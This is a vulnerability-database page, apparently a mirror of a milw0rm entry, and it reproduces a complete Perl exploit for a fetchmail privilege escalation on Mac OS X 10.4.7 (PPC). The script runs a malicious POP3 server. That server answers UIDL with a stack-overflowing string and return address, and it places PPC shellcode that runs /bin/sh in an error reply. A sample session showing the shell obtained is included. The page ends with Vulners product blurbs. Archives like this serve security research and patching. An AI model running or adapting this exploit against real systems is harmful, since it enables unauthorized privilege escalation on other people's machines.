Lucene search
K

Mac OS X <= 10.4.7 fetchmail Privilege Escalation Exploit (ppc)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 16 Views

Mac OS X fetchmail Privilege Escalation Exploit (ppc) version 10.4.

Code

                                                #!/usr/bin/perl
# getpwnedmail.pl
#
# http://www.digitalmunition.com
# written by kf (kf_lists[at]digitalmunition[dot]com) 
#
# This is a canibalized version of &#34;Kansas City POP Daemon Version 0.0&#34; - Copyright (c) 1999 David Nicol &#60;[email protected]&#62;
#
# kevin-finisterres-mac-mini:~ kfinisterre$ /usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234
# Enter password for kfinisterre@localhost: 
# sh-2.05b$ id
# uid=501(kfinisterre) gid=501(kfinisterre) egid=6(mail) groups=6(mail), 81(appserveradm), 79(appserverusr), 80(admin)
#
# http://docs.info.apple.com/article.html?artnum=106704

use Socket;
use IO::Handle;
use IO::Socket;

$banner = &#34;fetchmail ppc exploit - OSX 10.4.7 8J135&#34;;
$sc = &#34;iiii&#34; x 10 . 
# * PPC MacOS X shellcode
# * ghandi &#60;[email protected]&#62;
  &#34;\x7c\xa5\x2a\x79&#34;  . # /* xor.   r5, r5, r5    ; r5 = NULL           */
  &#34;\x40\xa2\xff\xfd&#34;  . # /* bnel   shellcode                           */
  &#34;\x7f\xe8\x02\xa6&#34;  . # /* mflr   r31                                 */
  &#34;\x3b\xff\x01\x30&#34;  . # /* addi   r31, r31, 268+36                    */ 
  &#34;\x38\x7f\xfe\xf4&#34;  . # /* addi   r3, r31, -268 ; r3 = path           */
  &#34;\x90\x61\xff\xf8&#34;  . # /* stw    r3, -8(r1)    ; argv[0] = path      */
  &#34;\x90\xa1\xff\xfc&#34;  . # /* stw    r5, -4(r1)    ; argv[1] = NULL      */
  &#34;\x38\x81\xff\xf8&#34;  . # /* subi   r4, r1, 8     ; r4 = {path, 0}      */
  &#34;\x3b\xc0\x76\x01&#34;  . # /* li     r30, 30209                          */
  &#34;\x7f\xc0\x4e\x70&#34;  . # /* srawi  r0, r30, 9                          */
  &#34;\x44\xff\xff\x02&#34;  . # /* sc                   ; execve(r3, r4, r5)  */
  &#34;/bin/sh&#34;;

$eip = 0xbfffd238;  # No NX to worry about so just hop right on into the stack. 

$malstr = &#34;A&#34; x 196 . pack(&#39;l&#39;, $eip) x 2;
        
$PortNumber  = 1234;
$door = IO::Socket::INET-&#62;new( Proto=&#62;&#39;tcp&#39;, LocalPort=&#62;$PortNumber, Listen=&#62;SOMAXCONN, Reuse=&#62;1 );
die &#34;Cannot set up socket: $!&#34; unless $door;

$timeout = 60;
$SIG{ALRM} = sub { die &#34;alarm or timeout\n&#34; };

print &#34;open a new window and type - \&#34;/usr/bin/fetchmail -p pop3 --fastuidl 1 localhost -P 1234\&#34;\n&#34;;
print &#34;choose any password and press enter\n&#34;; 
for(;;)
{
	until(  $client = $door-&#62;accept())
	{
		sleep 1;
        };
	$F = fork;
	die &#34;Fork weirdness: $!&#34; if $F &#60; 0;

        if($F)
	{
		close $client;
		next;
	};
                
        close ($door);

        $client-&#62;autoflush();
	&AUTHORIZATION;
	&TRANSACTION;
	exit;
};

sub OK($)
{
	my $A = shift;
        $A =~ s/\s+\Z//g;
        print $client &#34;+OK $A\r\n&#34;;
	alarm $timeout;
};

sub ERR($)
{
	my $A = shift;
        $A =~ s/\s+/ /g;
        $A =~ s/\s+\Z//g;
        print $client &#34;-ERR $A\r\n&#34;;
	alarm $timeout;
};

sub AUTHORIZATION
{
	$Name = &#39;&#39;;
	OK &#34;$banner&#34;;
	NEEDUSER:
        $Data = &#60;$client&#62;;
        ($Name) =  $Data =~ m/^user (\w+)/i;
	unless($Name)
	{
		ERR &#34;The itsy bitsy spider walked up the water spout&#34;;
		die if ++$strikes &#62; 5;
		goto NEEDUSER;
	};
	OK &#34;User name ($Name) ok. Password, please.&#34;;
        $Data = &#60;$client&#62;;
        my($Pass) =  $Data =~ m/^pass (.*)/i;
	$Pass =~ s/\s+\Z//g;
	
	OK &#34;$Name has &#34; . 8 . &#34; messages&#34;;
};

sub TRANSACTION
{
	%deletia = ();
	START:
        $_ = $Data = &#60;$client&#62;;
	unless(defined($Data))
	{
		print &#34;Client closed connection\n&#34;;
		exit;
	};
	if (m/^STAT/i){ &STAT; goto START};
	if (m/^UIDL/i){ &UIDL; goto START};

	# Just cram the shellcode onto the stack... 
	ERR &#34;Welcome to Pwndertino !  $sc&#34;;

	goto START;
}

sub STAT
{
	alarm 0;	
	$mm = 0;
	$nn = scalar(@Messages);
	foreach $M (@Messages){
		$mm += -s &#34;$M&#34;;
	};
	OK &#34;8 7035&#34;;
};

sub List($)
{
	my $M = $Messages[$_[0]-1];
	return if $deletia{$M};
	print $client $_[0],&#39; &#39;,(-s $M).&#34;\r\n&#34;;
	alarm $timeout;
};

sub UIDL
{
	print &#34;Sending exploit string\n&#34;;
	OK &#34;1 &#34; . $malstr; 
};

# milw0rm.com [2006-08-01]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation